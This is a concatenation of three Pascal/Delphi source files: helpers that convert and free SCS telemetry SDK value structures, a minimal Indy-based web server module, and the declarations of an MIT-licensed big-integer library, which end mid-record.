{==============================================================================}
{ Unit Functions and procedures declarations }
{==============================================================================}
{
Function converting normal @code(scs_value_t) structure to its no-pointers
version (scs_value_localized_t).
@param Value Value that has to be converted.
@returns Converted value.
}
Function scs_value_localized(Value: scs_value_t): scs_value_localized_t;
//------------------------------------------------------------------------------
{
@abstract(Function converting no-pointers alternative to normal
@code(scs_value_t) structure.)
@bold(Warning) - you have to manually free memory allocated for some fields
when you are done with result of this function! Use function scs_value_free
for this purpose.
@param Value Value that has to be converted.
@returns Converted value.
}
Function scs_value(Value: scs_value_localized_t): scs_value_t;
//------------------------------------------------------------------------------
{
@abstract(Frees resources allocated for variable of type @code(scs_value_t).)
@bold(Warning) - do not use on variables returned from the API!
@param Value Value whose resources has to be freed.
}
procedure scs_value_free(var Value: scs_value_t);
//==============================================================================
{
Function converting normal @code(scs_named_value_t) structure to its
no-pointers version (scs_named_value_localized_t).
@param Value Value that has to be converted.
@returns Converted value.
}
Function scs_named_value_localized(Value: scs_named_value_t): scs_named_value_localized_t;
//------------------------------------------------------------------------------
{
@abstract(Function converting no-pointers alternative to normal
@code(scs_named_value_t) structure.)
@bold(Warning) - you have to manually free memory allocated for some fields
when you are done with result of this function! Use function
scs_named_value_free for this purpose.
@param Value Value that has to be converted.
@returns Converted value.
}
Function scs_named_value(Value: scs_named_value_localized_t): scs_named_value_t;
//------------------------------------------------------------------------------
{
@abstract(Frees resources allocated for variable of type
@code(scs_named_value_t).)
@bold(Warning) - do not use on variables returned from the API!
@param Value Value whose resources has to be freed.
}
procedure scs_named_value_free(var Value: scs_named_value_t);
//==============================================================================
{
Function converting normal @code(scs_telemetry_configuration_t) structure to
its no-pointers version (scs_telemetry_configuration_localized_t).
@param Value Value that has to be converted.
@returns Converted value.
}
Function scs_telemetry_configuration_localized(Value: scs_telemetry_configuration_t): scs_telemetry_configuration_localized_t;
//------------------------------------------------------------------------------
{
@abstract(Function converting no-pointers alternative to normal
@code(scs_telemetry_configuration_t) structure.)
@bold(Warning) - you have to manually free memory allocated for some fields
when you are done with result of this function! Use function
scs_telemetry_configuration_free for this purpose.
@param Value Value that has to be converted.
@returns Converted value.
}
Function scs_telemetry_configuration(Value: scs_telemetry_configuration_localized_t): scs_telemetry_configuration_t;
//------------------------------------------------------------------------------
{
@abstract(Frees resources allocated for variable of type
@code(scs_telemetry_configuration_t).)
@bold(Warning) - do not use on variables returned from the API!
@param Value Value whose resources has to be freed.
@param(FreeAttributes When @true, attributes array is freed completely,
otherwise only attributes fields are freed.)
}
procedure scs_telemetry_configuration_free(var Value: scs_telemetry_configuration_t; FreeAttributes: Boolean = True);
implementation
uses
SysUtils;
{==============================================================================}
{ Unit Functions and procedures implementation }
{==============================================================================}
Function scs_value_localized(Value: scs_value_t): scs_value_localized_t;
begin
Result.ValueType := Value._type;
case Value._type of
SCS_VALUE_TYPE_string:
begin
Result.BinaryData._type := SCS_VALUE_TYPE_INVALID;
Result.StringData := APIStringToTelemetryString(Value.value_string.value);
end;
else
Result.BinaryData := Value;
Result.StringData := '';
end;
end;
//------------------------------------------------------------------------------
Function scs_value(Value: scs_value_localized_t): scs_value_t;
begin
case Value.ValueType of
SCS_VALUE_TYPE_string:
begin
Result._type := SCS_VALUE_TYPE_string;
Result.value_string.value := TelemetryStringToAPIString(Value.StringData);
end;
else
Result := Value.BinaryData;
Result._type := Value.ValueType;
end;
end;
//------------------------------------------------------------------------------
procedure scs_value_free(var Value: scs_value_t);
begin
If Value._type = SCS_VALUE_TYPE_string then
APIStringFree(Value.value_string.value);
end;
//==============================================================================
Function scs_named_value_localized(Value: scs_named_value_t): scs_named_value_localized_t;
begin
Result.Name := APIStringToTelemetryString(Value.name);
Result.Index := Value.index;
Result.Value := scs_value_localized(Value.value);
end;
//------------------------------------------------------------------------------
Function scs_named_value(Value: scs_named_value_localized_t): scs_named_value_t;
begin
Result.name := TelemetryStringToAPIString(Value.Name);
Result.index := Value.Index;
Result.value := scs_value(Value.Value);
end;
//------------------------------------------------------------------------------
procedure scs_named_value_free(var Value: scs_named_value_t);
begin
APIStringFree(Value.name);
scs_value_free(Value.value);
end;
//==============================================================================
Function scs_telemetry_configuration_localized(Value: scs_telemetry_configuration_t): scs_telemetry_configuration_localized_t;
var
CurrAttrPtr: p_scs_named_value_t;
TempAttrLoc: scs_named_value_localized_t;
procedure AddAttributeToResult(Attribute: scs_named_value_localized_t);
begin
SetLength(Result.Attributes,Length(Result.Attributes) + 1);
Result.Attributes[High(Result.Attributes)] := Attribute;
end;
begin
Result.ID := APIStringToTelemetryString(Value.id);
SetLength(Result.Attributes,0);
CurrAttrPtr := Value.attributes;
while Assigned(CurrAttrPtr^.name) do
begin
TempAttrLoc.Name := APIStringToTelemetryString(CurrAttrPtr^.name);
TempAttrLoc.Index := CurrAttrPtr^.index;
TempAttrLoc.Value := scs_value_localized(CurrAttrPtr^.value);
AddAttributeToResult(TempAttrLoc);
Inc(CurrAttrPtr);
end;
end;
//------------------------------------------------------------------------------
Function scs_telemetry_configuration(Value: scs_telemetry_configuration_localized_t): scs_telemetry_configuration_t;
var
i: Integer;
CurrAttrPtr: p_scs_named_value_t;
begin
Result.id := TelemetryStringToAPIString(Value.ID);
Result.attributes := AllocMem((Length(Value.Attributes) + 1) * SizeOf(scs_named_value_t));
CurrAttrPtr := Result.attributes;
For i := Low(Value.Attributes) to High(Value.Attributes) do
begin
CurrAttrPtr^.name := TelemetryStringToAPIString(Value.Attributes[i].Name);
CurrAttrPtr^.index := Value.Attributes[i].Index;
CurrAttrPtr^.value := scs_value(Value.Attributes[i].Value);
Inc(CurrAttrPtr);
end;
CurrAttrPtr^.name := nil;
end;
//------------------------------------------------------------------------------
procedure scs_telemetry_configuration_free(var Value: scs_telemetry_configuration_t; FreeAttributes: Boolean = True);
var
Counter: Integer;
CurrAttrPtr: p_scs_named_value_t;
begin
APIStringFree(Value.id);
Counter := 0;
CurrAttrPtr := Value.attributes;
while Assigned(CurrAttrPtr^.name) do
begin
scs_named_value_free(CurrAttrPtr^);
Inc(Counter);
Inc(CurrAttrPtr);
end;
scs_named_value_free(CurrAttrPtr^);
Inc(Counter);
If FreeAttributes then
FreeMem(Value.attributes,Counter * SizeOf(scs_named_value_t));
Value.attributes := nil;
end;
end. |
unit MPWS.WebServer;
interface
uses
System.SysUtils, System.Classes, IdHTTPWebBrokerBridge;
type
TWebServer = class(TDataModule)
private
FServer: TIdHTTPWebBrokerBridge;
function GetIsActive: Boolean;
function GetPort: Integer;
procedure SetPort(const Value: Integer);
public
constructor Create(AOwner: TComponent); override;
procedure Start;
procedure Stop;
property IsActive: Boolean read GetIsActive;
property Port: Integer read GetPort write SetPort;
end;
var
WebServer: TWebServer;
implementation
{%CLASSGROUP 'System.Classes.TPersistent'}
{$R *.dfm}
{ TWebServer }
constructor TWebServer.Create(AOwner: TComponent);
begin
inherited;
FServer := TIdHTTPWebBrokerBridge.Create(Self);
end;
function TWebServer.GetIsActive: Boolean;
begin
Result := FServer.Active;
end;
function TWebServer.GetPort: Integer;
begin
Result := FServer.DefaultPort;
end;
procedure TWebServer.SetPort(const Value: Integer);
var
LWasActive: Boolean;
begin
if Value <> Port then
begin
LWasActive := FServer.Active;
Stop;
FServer.DefaultPort := Value;
if LWasActive then
Start;
end;
end;
procedure TWebServer.Start;
begin
if not FServer.Active then
begin
FServer.Bindings.Clear;
FServer.Active := True;
end;
end;
procedure TWebServer.Stop;
begin
FServer.Active := False;
end;
end.
|
{ *********************************************************** }
{ * Numerics(32/64).dll import for Pascal * }
{ * ------------------------------------------------------- * }
{ * set const LibName = 'numerics32.dll' * }
{ * to import numerics32.dll; * }
{ * set const LibName = 'numerics64.dll' * }
{ * to import numerics64.dll; * }
{ *********************************************************** }
{
Copyright (c) 2014 Sergey Kasandrov
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
}
unit Numerics;
{$IFDEF FPC}
{$mode delphi}
{$ENDIF}
interface
uses Windows, SysUtils;
type
TF_RESULT = LongInt;
const
// = common microsoft codes =
TF_S_OK = TF_RESULT(0); // Operation successful
TF_S_FALSE = TF_RESULT(1); // Operation successful
TF_E_FAIL = TF_RESULT($80004005); // Unspecified failure
TF_E_INVALIDARG = TF_RESULT($80070057); // One or more arguments are not valid
TF_E_NOINTERFACE = TF_RESULT($80004002); // No such interface supported
TF_E_NOTIMPL = TF_RESULT($80004001); // Not implemented
TF_E_OUTOFMEMORY = TF_RESULT($8007000E); // Failed to allocate necessary memory
TF_E_UNEXPECTED = TF_RESULT($8000FFFF); // Unexpected failure
// = TFL specific codes =
TF_E_NOMEMORY = TF_RESULT($A0000003); // specific TFL memory error
TF_E_LOADERROR = TF_RESULT($A0000004); // Error loading dll
{$IFDEF FPC}
type
TBytes = array of Byte;
{$ENDIF}
type
IBigNumber = interface
// function ClearMem: TF_RESULT; stdcall;
function GetHashCode: Integer; stdcall;
function GetLen: Integer; stdcall;
function GetRawData: PByte; stdcall;
function GetIsEven: Boolean; stdcall;
function GetIsOne: Boolean; stdcall;
function GetIsPowerOfTwo: Boolean; stdcall;
function GetIsZero: Boolean; stdcall;
function GetSign: Integer; stdcall;
function GetSize: Integer; stdcall;
function CompareNumber(const Num: IBigNumber): Integer; stdcall;
function CompareNumberU(const Num: IBigNumber): Integer; stdcall;
function EqualsNumber(const Num: IBigNumber): Boolean; stdcall;
function EqualsNumberU(const Num: IBigNumber): Boolean; stdcall;
function AddNumber(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function AddNumberU(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function SubNumber(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function SubNumberU(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function MulNumber(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function MulNumberU(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function DivRemNumber(const Num: IBigNumber; var Q, R: IBigNumber): TF_RESULT; stdcall;
function DivRemNumberU(const Num: IBigNumber; var Q, R: IBigNumber): TF_RESULT; stdcall;
function AndNumber(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function AndNumberU(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function OrNumber(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function OrNumberU(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function XorNumber(const Num: IBigNumber; var Res: IBigNumber): TF_RESULT; stdcall;
function ShlNumber(Shift: Cardinal; var Res: IBigNumber): TF_RESULT; stdcall;
function ShrNumber(Shift: Cardinal; var Res: IBigNumber): TF_RESULT; stdcall;
function AssignNumber(var Res: IBigNumber): TF_RESULT; stdcall;
function AbsNumber(var Res: IBigNumber): TF_RESULT; stdcall;
function NegateNumber(var Res: IBigNumber): TF_RESULT; stdcall;
function Pow(Value: Cardinal; var IRes: IBigNumber): TF_RESULT; stdcall;
function PowU(Value: Cardinal; var IRes: IBigNumber): TF_RESULT; stdcall;
function SqrtNumber(var IRes: IBigNumber): TF_RESULT; stdcall;
function GCD(const B: IBigNumber; var G: IBigNumber): TF_RESULT; stdcall;
function EGCD(const B: IBigNumber; var G, X, Y: IBigNumber): TF_RESULT; stdcall;
function ModPow(const IExp, IMod: IBigNumber; var IRes: IBigNumber): TF_RESULT; stdcall;
function ModInverse(const M: IBigNumber; var R: IBigNumber): TF_RESULT; stdcall;
function ToLimb(var Value: Cardinal): TF_RESULT; stdcall;
function ToIntLimb(var Value: Integer): TF_RESULT; stdcall;
function ToDec(P: PByte; var L: Integer): TF_RESULT; stdcall;
function ToHex(P: PByte; var L: Integer; TwoCompl: Boolean): TF_RESULT; stdcall;
function ToPByte(P: PByte; var L: Cardinal): TF_RESULT; stdcall;
function CompareToLimb(B: Cardinal): Integer; stdcall;
function CompareToLimbU(B: Cardinal): Integer; stdcall;
function CompareToIntLimb(B: Integer): Integer; stdcall;
function CompareToIntLimbU(B: Integer): Integer; stdcall;
function AddLimb(Limb: LongWord; var Res: IBigNumber): TF_RESULT; stdcall;
function AddLimbU(Limb: LongWord; var Res: IBigNumber): TF_RESULT; stdcall;
function AddIntLimb(Limb: LongInt; var Res: IBigNumber): TF_RESULT; stdcall;
function SubLimb(Limb: LongWord; var Res: IBigNumber): TF_RESULT; stdcall;
function SubLimb2(Limb: LongWord; var Res: IBigNumber): TF_RESULT; stdcall;
function SubLimbU(Limb: LongWord; var Res: IBigNumber): TF_RESULT; stdcall;
function SubLimbU2(Limb: LongWord; var Res: LongWord): TF_RESULT; stdcall;
function SubIntLimb(Limb: LongInt; var Res: IBigNumber): TF_RESULT; stdcall;
function SubIntLimb2(Limb: LongInt; var Res: IBigNumber): TF_RESULT; stdcall;
function MulLimb(Limb: LongWord; var Res: IBigNumber): TF_RESULT; stdcall;
function MulLimbU(Limb: LongWord; var Res: IBigNumber): TF_RESULT; stdcall;
function MulIntLimb(Limb: LongInt; var Res: IBigNumber): TF_RESULT; stdcall;
function DivRemLimb(Limb: LongWord; var Q: IBigNumber; var R: IBigNumber): TF_RESULT; stdcall;
function DivRemLimb2(Limb: LongWord; var Q: IBigNumber; var R: LongWord): TF_RESULT; stdcall;
function DivRemLimbU(Limb: LongWord; var Q: IBigNumber; var R: LongWord): TF_RESULT; stdcall;
function DivRemLimbU2(Limb: LongWord; var Q: LongWord; var R: LongWord): TF_RESULT; stdcall;
function DivRemIntLimb(Limb: LongInt; var Q: IBigNumber; var R: LongInt): TF_RESULT; stdcall;
function DivRemIntLimb2(Limb: LongInt; var Q: LongInt; var R: LongInt): TF_RESULT; stdcall;
function ToDblLimb(var Value: UInt64): TF_RESULT; stdcall;
function ToDblIntLimb(var Value: Int64): TF_RESULT; stdcall;
function CompareToDblLimb(B: UInt64): Integer; stdcall;
function CompareToDblLimbU(B: UInt64): Integer; stdcall;
function CompareToDblIntLimb(B: Int64): Integer; stdcall;
function CompareToDblIntLimbU(B: Int64): Integer; stdcall;
end;
type
BigCardinal = record
private
FNumber: IBigNumber;
public
procedure Free;
function ToString: string;
function ToHexString(Digits: Integer = 0; const Prefix: string = '';
TwoCompl: Boolean = False): string;
function ToBytes: TBytes;
function TryParse(const S: string; TwoCompl: Boolean = False): Boolean;
function GetHashCode: Integer;
property HashCode: Integer read GetHashCode;
class function Compare(const A, B: BigCardinal): Integer; overload; static;
class function Compare(const A: BigCardinal; const B: Cardinal): Integer; overload; static;
class function Compare(const A: BigCardinal; const B: Integer): Integer; overload; static;
class function Compare(const A: BigCardinal; const B: UInt64): Integer; overload; static;
class function Compare(const A: BigCardinal; const B: Int64): Integer; overload; static;
class function Equals(const A, B: BigCardinal): Boolean; overload; static;
class function Pow(const Base: BigCardinal; Value: Cardinal): BigCardinal; overload; static;
class function Sqrt(const A: BigCardinal): BigCardinal; overload; static;
class function GCD(const A, B: BigCardinal): BigCardinal; overload; static;
class function ModInverse(const A, Modulo: BigCardinal): BigCardinal; overload; static;
class function DivRem(const Dividend, Divisor: BigCardinal;
var Remainder: BigCardinal): BigCardinal; overload; static;
class function DivRem(const Dividend: BigCardinal; Divisor: Cardinal;
var Remainder: Cardinal): BigCardinal; overload; static;
class function DivRem(const Dividend: Cardinal; Divisor: BigCardinal;
var Remainder: Cardinal): Cardinal; overload; static;
function CompareTo(const B: BigCardinal): Integer; overload;
function CompareTo(const B: Cardinal): Integer; overload;
function CompareTo(const B: Integer): Integer; overload;
function CompareTo(const B: UInt64): Integer; overload;
function CompareTo(const B: Int64): Integer; overload;
function EqualsTo(const B: BigCardinal): Boolean; overload;
class operator Explicit(const Value: BigCardinal): Cardinal;
class operator Explicit(const Value: BigCardinal): Integer;
class operator Explicit(const Value: BigCardinal): UInt64;
class operator Explicit(const Value: BigCardinal): Int64;
class operator Implicit(const Value: Cardinal): BigCardinal;
class operator Implicit(const Value: UInt64): BigCardinal;
class operator Explicit(const Value: Integer): BigCardinal;
class operator Explicit(const Value: Int64): BigCardinal;
class operator Explicit(const Value: TBytes): BigCardinal;
class operator Explicit(const Value: string): BigCardinal;
class operator Equal(const A, B: BigCardinal): Boolean; inline;
class operator NotEqual(const A, B: BigCardinal): Boolean; inline;
class operator GreaterThan(const A, B: BigCardinal): Boolean; inline;
class operator GreaterThanOrEqual(const A, B: BigCardinal): Boolean; inline;
class operator LessThan(const A, B: BigCardinal): Boolean; inline;
class operator LessThanOrEqual(const A, B: BigCardinal): Boolean; inline;
class operator Add(const A, B: BigCardinal): BigCardinal;
class operator Subtract(const A, B: BigCardinal): BigCardinal;
class operator Multiply(const A, B: BigCardinal): BigCardinal;
class operator IntDivide(const A, B: BigCardinal): BigCardinal;
class operator Modulus(const A, B: BigCardinal): BigCardinal;
class operator LeftShift(const A: BigCardinal; Shift: Cardinal): BigCardinal;
class operator RightShift(const A: BigCardinal; Shift: Cardinal): BigCardinal;
class operator BitwiseAnd(const A, B: BigCardinal): BigCardinal;
class operator BitwiseOr(const A, B: BigCardinal): BigCardinal;
class operator Equal(const A: BigCardinal; const B: Cardinal): Boolean; inline;
class operator Equal(const A: Cardinal; const B: BigCardinal): Boolean; inline;
class operator Equal(const A: BigCardinal; const B: Integer): Boolean; inline;
class operator Equal(const A: Integer; const B: BigCardinal): Boolean; inline;
class operator NotEqual(const A: BigCardinal; const B: Cardinal): Boolean; inline;
class operator NotEqual(const A: Cardinal; const B: BigCardinal): Boolean; inline;
class operator NotEqual(const A: BigCardinal; const B: Integer): Boolean; inline;
class operator NotEqual(const A: Integer; const B: BigCardinal): Boolean; inline;
class operator GreaterThan(const A: BigCardinal; const B: Cardinal): Boolean; inline;
class operator GreaterThan(const A: Cardinal; const B: BigCardinal): Boolean; inline;
class operator GreaterThan(const A: BigCardinal; const B: Integer): Boolean; inline;
class operator GreaterThan(const A: Integer; const B: BigCardinal): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigCardinal; const B: Cardinal): Boolean; inline;
class operator GreaterThanOrEqual(const A: Cardinal; const B: BigCardinal): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigCardinal; const B: Integer): Boolean; inline;
class operator GreaterThanOrEqual(const A: Integer; const B: BigCardinal): Boolean; inline;
class operator LessThan(const A: BigCardinal; const B: Cardinal): Boolean; inline;
class operator LessThan(const A: Cardinal; const B: BigCardinal): Boolean; inline;
class operator LessThan(const A: BigCardinal; const B: Integer): Boolean; inline;
class operator LessThan(const A: Integer; const B: BigCardinal): Boolean; inline;
class operator LessThanOrEqual(const A: BigCardinal; const B: Cardinal): Boolean; inline;
class operator LessThanOrEqual(const A: Cardinal; const B: BigCardinal): Boolean; inline;
class operator LessThanOrEqual(const A: BigCardinal; const B: Integer): Boolean; inline;
class operator LessThanOrEqual(const A: Integer; const B: BigCardinal): Boolean; inline;
class operator Equal(const A: BigCardinal; const B: UInt64): Boolean; inline;
class operator Equal(const A: UInt64; const B: BigCardinal): Boolean; inline;
class operator Equal(const A: BigCardinal; const B: Int64): Boolean; inline;
class operator Equal(const A: Int64; const B: BigCardinal): Boolean; inline;
class operator NotEqual(const A: BigCardinal; const B: UInt64): Boolean; inline;
class operator NotEqual(const A: UInt64; const B: BigCardinal): Boolean; inline;
class operator NotEqual(const A: BigCardinal; const B: Int64): Boolean; inline;
class operator NotEqual(const A: Int64; const B: BigCardinal): Boolean; inline;
class operator GreaterThan(const A: BigCardinal; const B: UInt64): Boolean; inline;
class operator GreaterThan(const A: UInt64; const B: BigCardinal): Boolean; inline;
class operator GreaterThan(const A: BigCardinal; const B: Int64): Boolean; inline;
class operator GreaterThan(const A: Int64; const B: BigCardinal): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigCardinal; const B: UInt64): Boolean; inline;
class operator GreaterThanOrEqual(const A: UInt64; const B: BigCardinal): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigCardinal; const B: Int64): Boolean; inline;
class operator GreaterThanOrEqual(const A: Int64; const B: BigCardinal): Boolean; inline;
class operator LessThan(const A: BigCardinal; const B: UInt64): Boolean; inline;
class operator LessThan(const A: UInt64; const B: BigCardinal): Boolean; inline;
class operator LessThan(const A: BigCardinal; const B: Int64): Boolean; inline;
class operator LessThan(const A: Int64; const B: BigCardinal): Boolean; inline;
class operator LessThanOrEqual(const A: BigCardinal; const B: UInt64): Boolean; inline;
class operator LessThanOrEqual(const A: UInt64; const B: BigCardinal): Boolean; inline;
class operator LessThanOrEqual(const A: BigCardinal; const B: Int64): Boolean; inline;
class operator LessThanOrEqual(const A: Int64; const B: BigCardinal): Boolean; inline;
class operator Add(const A: BigCardinal; const B: Cardinal): BigCardinal;
class operator Add(const A: Cardinal; const B: BigCardinal): BigCardinal;
class operator Subtract(const A: BigCardinal; const B: Cardinal): BigCardinal;
class operator Subtract(const A: Cardinal; const B: BigCardinal): Cardinal;
class operator Multiply(const A: BigCardinal; const B: Cardinal): BigCardinal;
class operator Multiply(const A: Cardinal; const B: BigCardinal): BigCardinal;
class operator IntDivide(const A: BigCardinal; const B: Cardinal): BigCardinal;
class operator IntDivide(const A: Cardinal; const B: BigCardinal): Cardinal;
class operator Modulus(const A: BigCardinal; const B: Cardinal): Cardinal;
class operator Modulus(const A: Cardinal; const B: BigCardinal): Cardinal;
end;
BigInteger = record
private
FNumber: IBigNumber;
public
procedure Free;
function ToString: string;
function ToHexString(Digits: Integer = 0; const Prefix: string = '';
TwoCompl: Boolean = False): string;
function ToBytes: TBytes;
function TryParse(const S: string; TwoCompl: Boolean = False): Boolean;
function GetSign: Integer;
property Sign: Integer read GetSign;
function GetHashCode: Integer;
property HashCode: Integer read GetHashCode;
class function Compare(const A, B: BigInteger): Integer; overload; static;
class function Compare(const A: BigInteger; const B: BigCardinal): Integer; overload; static;
class function Compare(const A: BigCardinal; const B: BigInteger): Integer; overload; static;
class function Compare(const A: BigInteger; const B: Cardinal): Integer; overload; static;
class function Compare(const A: BigInteger; const B: Integer): Integer; overload; static;
class function Compare(const A: BigInteger; const B: UInt64): Integer; overload; static;
class function Compare(const A: BigInteger; const B: Int64): Integer; overload; static;
function CompareTo(const B: BigInteger): Integer; overload;
function CompareTo(const B: BigCardinal): Integer; overload;
function CompareTo(const B: Cardinal): Integer; overload;
function CompareTo(const B: Integer): Integer; overload;
function CompareTo(const B: UInt64): Integer; overload;
function CompareTo(const B: Int64): Integer; overload;
class function Equals(const A, B: BigInteger): Boolean; overload; static;
class function Equals(const A: BigInteger; const B: BigCardinal): Boolean; overload; static;
class function Equals(const A: BigCardinal; const B: BigInteger): Boolean; overload; static;
function EqualsTo(const B: BigInteger): Boolean; overload;
function EqualsTo(const B: BigCardinal): Boolean; overload;
class function Abs(const A: BigInteger): BigInteger; static;
class function Pow(const Base: BigInteger; Value: Cardinal): BigInteger; overload; static;
class function Sqrt(const A: BigInteger): BigInteger; overload; static;
class function GCD(const A, B: BigInteger): BigInteger; overload; static;
class function GCD(const A: BigInteger; const B: BigCardinal): BigInteger; overload; static;
class function GCD(const A: BigCardinal; const B: BigInteger): BigInteger; overload; static;
class function EGCD(const A, B: BigInteger; var X, Y: BigInteger): BigInteger; static;
class function ModPow(const BaseValue, ExpValue, Modulo: BigInteger): BigInteger; static;
class function ModInverse(const A, Modulo: BigInteger): BigInteger; overload; static;
class function ModInverse(const A: BigInteger; const Modulo: BigCardinal): BigInteger; overload; static;
class function ModInverse(const A: BigCardinal; const Modulo: BigInteger): BigInteger; overload; static;
class function DivRem(const Dividend, Divisor: BigInteger;
var Remainder: BigInteger): BigInteger; overload; static;
class operator Implicit(const Value: BigCardinal): BigInteger; inline;
class operator Explicit(const Value: BigInteger): BigCardinal; inline;
class operator Explicit(const Value: BigInteger): Cardinal;
class operator Explicit(const Value: BigInteger): UInt64;
class operator Explicit(const Value: BigInteger): Integer;
class operator Explicit(const Value: BigInteger): Int64;
class operator Implicit(const Value: Cardinal): BigInteger;
class operator Implicit(const Value: UInt64): BigInteger;
class operator Implicit(const Value: Integer): BigInteger;
class operator Implicit(const Value: Int64): BigInteger;
class operator Explicit(const Value: TBytes): BigInteger;
class operator Explicit(const Value: string): BigInteger;
class operator Equal(const A, B: BigInteger): Boolean; inline;
class operator Equal(const A: BigInteger; const B: BigCardinal): Boolean; inline;
class operator Equal(const A: BigCardinal; const B: BigInteger): Boolean; inline;
class operator NotEqual(const A, B: BigInteger): Boolean; inline;
class operator NotEqual(const A: BigInteger; const B: BigCardinal): Boolean; inline;
class operator NotEqual(const A: BigCardinal; const B: BigInteger): Boolean; inline;
class operator GreaterThan(const A, B: BigInteger): Boolean; inline;
class operator GreaterThan(const A: BigInteger; const B: BigCardinal): Boolean; inline;
class operator GreaterThan(const A: BigCardinal; const B: BigInteger): Boolean; inline;
class operator GreaterThanOrEqual(const A, B: BigInteger): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigInteger; const B: BigCardinal): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigCardinal; const B: BigInteger): Boolean; inline;
class operator LessThan(const A, B: BigInteger): Boolean; inline;
class operator LessThan(const A: BigInteger; const B: BigCardinal): Boolean; inline;
class operator LessThan(const A: BigCardinal; const B: BigInteger): Boolean; inline;
class operator LessThanOrEqual(const A, B: BigInteger): Boolean; inline;
class operator LessThanOrEqual(const A: BigInteger; const B: BigCardinal): Boolean; inline;
class operator LessThanOrEqual(const A: BigCardinal; const B: BigInteger): Boolean; inline;
class operator Add(const A, B: BigInteger): BigInteger;
class operator Subtract(const A, B: BigInteger): BigInteger;
class operator Multiply(const A, B: BigInteger): BigInteger;
class operator IntDivide(const A, B: BigInteger): BigInteger;
class operator Modulus(const A, B: BigInteger): BigInteger;
class operator LeftShift(const A: BigInteger; Shift: Cardinal): BigInteger;
class operator RightShift(const A: BigInteger; Shift: Cardinal): BigInteger;
class operator BitwiseAnd(const A, B: BigInteger): BigInteger;
class operator BitwiseOr(const A, B: BigInteger): BigInteger;
class operator BitwiseXor(const A, B: BigInteger): BigInteger;
class operator Equal(const A: BigInteger; const B: Cardinal): Boolean; inline;
class operator Equal(const A: Cardinal; const B: BigInteger): Boolean; inline;
class operator Equal(const A: BigInteger; const B: Integer): Boolean; inline;
class operator Equal(const A: Integer; const B: BigInteger): Boolean; inline;
class operator NotEqual(const A: BigInteger; const B: Cardinal): Boolean; inline;
class operator NotEqual(const A: Cardinal; const B: BigInteger): Boolean; inline;
class operator NotEqual(const A: BigInteger; const B: Integer): Boolean; inline;
class operator NotEqual(const A: Integer; const B: BigInteger): Boolean; inline;
class operator GreaterThan(const A: BigInteger; const B: Cardinal): Boolean; inline;
class operator GreaterThan(const A: Cardinal; const B: BigInteger): Boolean; inline;
class operator GreaterThan(const A: BigInteger; const B: Integer): Boolean; inline;
class operator GreaterThan(const A: Integer; const B: BigInteger): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigInteger; const B: Cardinal): Boolean; inline;
class operator GreaterThanOrEqual(const A: Cardinal; const B: BigInteger): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigInteger; const B: Integer): Boolean; inline;
class operator GreaterThanOrEqual(const A: Integer; const B: BigInteger): Boolean; inline;
class operator LessThan(const A: BigInteger; const B: Cardinal): Boolean; inline;
class operator LessThan(const A: Cardinal; const B: BigInteger): Boolean; inline;
class operator LessThan(const A: BigInteger; const B: Integer): Boolean; inline;
class operator LessThan(const A: Integer; const B: BigInteger): Boolean; inline;
class operator LessThanOrEqual(const A: BigInteger; const B: Cardinal): Boolean; inline;
class operator LessThanOrEqual(const A: Cardinal; const B: BigInteger): Boolean; inline;
class operator LessThanOrEqual(const A: BigInteger; const B: Integer): Boolean; inline;
class operator LessThanOrEqual(const A: Integer; const B: BigInteger): Boolean; inline;
class operator Equal(const A: BigInteger; const B: UInt64): Boolean; inline;
class operator Equal(const A: UInt64; const B: BigInteger): Boolean; inline;
class operator Equal(const A: BigInteger; const B: Int64): Boolean; inline;
class operator Equal(const A: Int64; const B: BigInteger): Boolean; inline;
class operator NotEqual(const A: BigInteger; const B: UInt64): Boolean; inline;
class operator NotEqual(const A: UInt64; const B: BigInteger): Boolean; inline;
class operator NotEqual(const A: BigInteger; const B: Int64): Boolean; inline;
class operator NotEqual(const A: Int64; const B: BigInteger): Boolean; inline;
class operator GreaterThan(const A: BigInteger; const B: UInt64): Boolean; inline;
class operator GreaterThan(const A: UInt64; const B: BigInteger): Boolean; inline;
class operator GreaterThan(const A: BigInteger; const B: Int64): Boolean; inline;
class operator GreaterThan(const A: Int64; const B: BigInteger): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigInteger; const B: UInt64): Boolean; inline;
class operator GreaterThanOrEqual(const A: UInt64; const B: BigInteger): Boolean; inline;
class operator GreaterThanOrEqual(const A: BigInteger; const B: Int64): Boolean; inline;
class operator GreaterThanOrEqual(const A: Int64; const B: BigInteger): Boolean; inline;
